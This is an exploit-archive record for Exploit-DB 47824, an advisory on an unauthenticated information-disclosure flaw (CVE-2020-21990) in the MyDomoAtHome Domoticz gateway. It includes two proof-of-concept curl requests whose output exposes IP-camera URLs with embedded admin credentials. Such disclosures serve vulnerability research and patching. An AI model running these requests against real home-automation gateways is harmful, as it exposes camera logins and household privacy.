{"exploit":{"id":"EDB-47824","name":"MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure","description":"MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure","cves":["CVE-2020-21990"],"author":"LiquidWorm","published":"2019-12-30","platform":"hardware","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47824","path":"exploits/hardware/webapps/47824.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47824.txt","vulnerabilities":[{"id":"CVE-2020-21990","state":"PUBLISHED","title":null,"titleSource":null,"description":"Emmanuel MyDomoAtHome (MDAH) REST API REST API Domoticz ISS Gateway 0.2.40 is affected by an information disclosure vulnerability due to improper access control enforcement. An unauthenticated remote attacker can exploit this, via a specially crafted request to gain access to sensitive information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-21990","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-21990"},"updatedAt":"2024-08-04T14:30:33.838Z","retrievedAt":"2026-11-27T10:09:03.824Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47824.png?v=2","url":"https://exploitbin.com/exploits/EDB-47824","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47824/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47824/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit: MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure\n# Date: 2019-12-30\n# Author: LiquidWorm\n# Vendor: Emmanuel\n# Product web page: https://github.com/empierre/MyDomoAtHome\n# https://www.domoticz.com/wiki/ImperiHome\n# https://docs.imperihome.com/app/iss\n# Affected version: 0.2.40\n# Advisory ID: ZSL-2019-5555\n# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5555.php\n\nMyDomoAtHome (MDAH) REST API Domoticz ISS Gateway 0.2.40 Information Disclosure\n\n\nVendor: Emmanuel\nProduct web page: https://github.com/empierre/MyDomoAtHome\n                  https://www.domoticz.com/wiki/ImperiHome\n                  https://docs.imperihome.com/app/iss\nAffected version: 0.2.40\n\nSummary: REST Gateway between Domoticz and Imperihome ISS. Domoticz is a home automation\nsystem with a pretty wide library of supported devices, ranging from weather stations to\nsmoke detectors to remote controls, and a large number of additional third-party integrations\nare documented on the project's website. It is designed with an HTML5 frontend, making it\naccessible from desktop browsers and most modern smartphones, and is lightweight, running\non many low-power devices like the Raspberry Pi.\n\nDesc: MyDomoAtHome REST API is affected by an information disclosure vulnerability due to\nimproper access control enforcement. An unauthenticated remote attacker can exploit this,\nvia a specially crafted request to gain access to sensitive information.\n\nTested on: NodeJS: 10.15.0, 8.15.1, 8.15.0, 8.11.1, 8.9.4, 4.8.7, 4.2.2\n           Webmanager/Engine: EJS\n           Renderer: Express\n\n\nVulnerability discovered by Gjoko 'LiquidWorm' Krstic\n                            @zeroscience\n\n\nAdvisory ID: ZSL-2019-5555\nAdvisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5555.php\n\n\n07.11.2019\n\n--\n\n\n--snip--\nDevice Type string: DevCamera\nParam Key        Description\n----------------------------\nlocaljpegurl     Local URL to the JPEG snapshot of the camera (Note : login/pass can be passed like this http://login:pass@url)\nlocalmjpegurl    Local URL to the camera's MJPEG stream\nremotejpegurl    Remote URL to the JPEG snapshot of the camera\nremotemjpegurl   Remote URL to the camera's MJPEG stream\n--snip--\n\n\nPoC #1:\n-------\n\nroot@kali:~/domoticz# curl -s http://192.168.0.100:3001/devices |tail -c $((100+850))\n[{\"value\":\"http://admin:s3cr3t0P4ssw0rduz@192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz\",\"key\":\"localjpegurl\"},{\"value\":\"http://192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz\",\"key\":\"remotejpegurl\"}],\"name\":\"Extérieur\",\"type\":\"DevCamera\",\"id\":\"2_cam\",\"room\":\"Switches\"},{\"params\":[{\"value\":\"http://admin2:An0th3rs3cr3tp4ss@192.168.0.15:8084/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin2&pwd=An0th3rs3cr3tp4ss\",\"key\":\"localjpegurl\"},{\"value\":\"http://192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz\",\"key\":\"remotejpegurl\"}],\"name\":\"cuisine\",\"type\":\"DevCamera\",\"id\":\"3_cam\",\"room\":\"Switches\"},{\"params\":[{\"value\":\"http://127.0.0.1:8080/uvccapture.cgi\",\"key\":\"localjpegurl\"},{\"value\":\"http://192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz\",\"key\":\"remotejpegurl\"}],\"name\":\"uvccam\",\"type\":\"DevCamera\",\"id\":\"4_cam\",\"room\":\"Switches\"}]}\n\n\nPoC #2:\n-------\n\nroot@kali:~/domoticz# curl -s http://192.168.1.100:3001/devices |tail -c $((200-22))\n{\"id\":\"C0\",\"name\":\"Portail\",\"type\":\"DevCamera\",\"room\":\"Switches\",\"params\":[{\"key\":\"localjpegurl\",\"value\":\"http://admin:y3T4n0ther1&&@http://192.168.1.210/doc/page/preview.asp\"}]}]}","sha256":"0852fa87773c9f66c6c395c457cdef23d92b448f1463d774b24988dc9fe82183","bytes":3636,"fetchedAt":"2026-11-27T10:08:59.626Z","encoding":"utf-8 (display only; download retains original bytes)"}